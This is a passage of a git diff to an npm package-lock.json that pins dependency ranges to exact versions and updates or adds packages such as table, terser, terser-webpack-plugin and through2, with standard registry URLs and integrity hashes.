"define-property": { @@ -16230,7 +17739,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } } } @@ -16246,7 +17755,7 @@ "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", "requires": { - "readable-stream": "^2.0.1" + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -16255,22 +17764,22 @@ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" }, "readable-stream": { "version": "2.3.6", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -16278,19 +17787,19 @@ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } }, "stream-browserify": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.1.tgz", - "integrity": "sha1-ZiZu5fm9uZQKTkUUyvtDu3Hlyds=", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.2.tgz", + "integrity": "sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==", "dev": true, "requires": { - "inherits": "~2.0.1", - "readable-stream": "^2.0.2" + "inherits": "2.0.3", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -16300,9 +17809,9 @@ "dev": true }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -16311,13 +17820,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -16326,7 +17835,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -16337,8 +17846,8 @@ "integrity": "sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==", "dev": true, "requires": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" + "end-of-stream": "1.4.4", + "stream-shift": "1.0.0" } }, "stream-http": { @@ -16347,11 +17856,11 @@ "integrity": "sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==", "dev": true, "requires": { - "builtin-status-codes": "^3.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.3.6", - "to-arraybuffer": "^1.0.0", - "xtend": "^4.0.0" + "builtin-status-codes": "3.0.0", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "to-arraybuffer": "1.0.1", + "xtend": "4.0.2" }, "dependencies": { "isarray": { @@ -16361,9 +17870,9 @@ "dev": true }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -16372,13 +17881,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -16387,7 +17896,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -16404,19 +17913,19 @@ "integrity": "sha512-WREzfy0r0zUqp3lGO096wRuUp7ho1X6uo/7DJfTlEi0Iv/4gT7YHqXDjKC2ioVGBZtE8QzsQD9nx1nIuoZ57jQ==", "dev": true, "requires": { - "date-format": "^1.2.0", - "debug": "^3.1.0", - "mkdirp": "^0.5.1", - "readable-stream": "^2.3.0" + "date-format": "1.2.0", + "debug": "3.2.6", + "mkdirp": "0.5.1", + "readable-stream": "2.3.6" }, "dependencies": { "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", "dev": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.2" } }, "isarray": { @@ -16425,10 +17934,16 @@ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", "dev": true }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -16437,13 +17952,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -16452,7 +17967,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -16462,8 +17977,8 @@ "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" }, "dependencies": { "ansi-regex": { @@ -16476,11 +17991,31 @@ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } } } }, + "string.prototype.trimleft": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/string.prototype.trimleft/-/string.prototype.trimleft-2.1.0.tgz", + "integrity": "sha512-FJ6b7EgdKxxbDxc79cOlok6Afd++TTs5szo+zJTUyow3ycrRfJVE2pq3vcN53XexvKZu/DJMDfeI/qMiZTrjTw==", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "function-bind": "1.1.1" + } + }, + "string.prototype.trimright": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/string.prototype.trimright/-/string.prototype.trimright-2.1.0.tgz", + "integrity": "sha512-fXZTSV55dNBwv16uw+hh5jkghxSnc5oHq+5K/gXgizHwAvMetdAJlHqqoFC1FSDVPYWLkAKl2cxpUT41sV7nSg==", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "function-bind": "1.1.1" + } + }, "string_decoder": { "version": "0.10.31", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", @@ -16498,7 +18033,7 @@ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-eof": { @@ -16512,7 +18047,7 @@ "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz", "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", "requires": { - "get-stdin": "^4.0.1" + "get-stdin": "4.0.1" } }, "strip-json-comments": { @@ -16527,8 +18062,8 @@ "integrity": "sha512-WXUrLeinPIR1Oat3PfCDro7qTniwNTJqGqv1KcQiL3JR5PzrVLTyNsd9wTsPXG/qNCJ7lzR2NY/QDjFsP7nuSQ==", "dev": true, "requires": { - "loader-utils": "^1.1.0", - "schema-utils": "^0.4.5" + "loader-utils": "1.1.0", + "schema-utils": "0.4.7" }, "dependencies": { "loader-utils": { @@ -16537,9 +18072,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -16555,52 +18090,71 @@ "integrity": "sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ==" }, "table": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/table/-/table-4.0.3.tgz", - "integrity": "sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==", + "version": "5.4.6", + "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz", + "integrity": "sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==", "dev": true, "requires": { - "ajv": "^6.0.1", - "ajv-keywords": "^3.0.0", - "chalk": "^2.1.0", - "lodash": "^4.17.4", - "slice-ansi": "1.0.0", - "string-width": "^2.1.1" + "ajv": "6.10.2", + "lodash": "4.17.15", + "slice-ansi": "2.1.0", + "string-width": "3.1.0" }, "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "ajv": { + "version": "6.10.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz", + "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" } }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "ansi-regex": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", "dev": true }, - "supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", + "dev": true + }, + "string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "emoji-regex": "7.0.3", + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "5.2.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "requires": { + "ansi-regex": "4.1.0" } } } @@ -16616,9 +18170,171 @@ "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz", "integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==", "requires": { - "block-stream": "*", - "fstream": "^1.0.12", - "inherits": "2" + "block-stream": "0.0.9", + "fstream": "1.0.12", + "inherits": "2.0.3" + } + }, + "terser": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-4.4.0.tgz", + "integrity": "sha512-oDG16n2WKm27JO8h4y/w3iqBGAOSCtq7k8dRmrn4Wf9NouL0b2WpMHGChFGZq4nFAQy1FsNJrVQHfurXOSTmOA==", + "dev": true, + "requires": { + "commander": "2.20.3", + "source-map": "0.6.1", + "source-map-support": "0.5.16" + }, + "dependencies": { + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "source-map-support": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.16.tgz", + "integrity": "sha512-efyLRJDr68D9hBBNIPWFjhpFzURh+KJykQwvMyW5UiZzYwoF6l4YMMDIJJEyFWxWCqfyxLzz6tSfUFR+kXXsVQ==", + "dev": true, + "requires": { + "buffer-from": "1.1.1", + "source-map": "0.6.1" + } + } + } + }, + "terser-webpack-plugin": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.1.tgz", + "integrity": "sha512-ZXmmfiwtCLfz8WKZyYUuuHf3dMYEjg8NrjHMb0JqHVHVOSkzp3cW2/XG1fP3tRhqEqSzMwzzRQGtAPbs4Cncxg==", + "dev": true, + "requires": { + "cacache": "12.0.3", + "find-cache-dir": "2.1.0", + "is-wsl": "1.1.0", + "schema-utils": "1.0.0", + "serialize-javascript": "1.9.1", + "source-map": "0.6.1", + "terser": "4.4.0", + "webpack-sources": "1.4.3", + "worker-farm": "1.7.0" + }, + "dependencies": { + "find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "dev": true, + "requires": { + "commondir": "1.0.1", + "make-dir": "2.1.0", + "pkg-dir": "3.0.0" + } + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "requires": { + "locate-path": "3.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "3.0.0", + "path-exists": "3.0.0" + } + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "requires": { + "pify": "4.0.1", + "semver": "5.7.1" + } + }, + "p-limit": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz", + "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==", + "dev": true, + "requires": { + "p-try": "2.2.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "2.2.1" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true + }, + "pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", + "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", + "dev": true, + "requires": { + "find-up": "3.0.0" + } + }, + "schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "requires": { + "ajv": "6.5.2", + "ajv-errors": "1.0.0", + "ajv-keywords": "3.2.0" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + } } }, "text-table": { @@ -16640,13 +18356,13 @@ "dev": true }, "through2": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.3.tgz", - "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", "dev": true, "requires": { - "readable-stream": "^2.1.5", - "xtend": "~4.0.1" + "readable-stream": "2.3.6", + "xtend": "4.0.2" }, "dependencies": { "isarray": { @@ -16656,9 +18372,9 @@ "dev": true }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -16667,13 +18383,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -16682,33 +18398,38 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } }, "thunky": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.0.2.tgz", - "integrity": "sha1-qGLgGOP7HqLsP85dVWBc9X8kc3E=", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", "dev": true }, "timers-browserify": { - "version": "2.0.10", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.10.tgz", - "integrity": "sha512-YvC1SV1XdOUaL6gx5CoGroT3Gu49pK9+TZ38ErPldOWW4j49GI1HKs9DV+KGq/w6y+LZ72W1c8cKz2vzY+qpzg==", + "version": "2.0.11", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz", + "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==", "dev": true, "requires": { - "setimmediate": "^1.0.4" + "setimmediate": "1.0.5" } }, + "timsort": { + "version": "0.3.0", + "resolved": 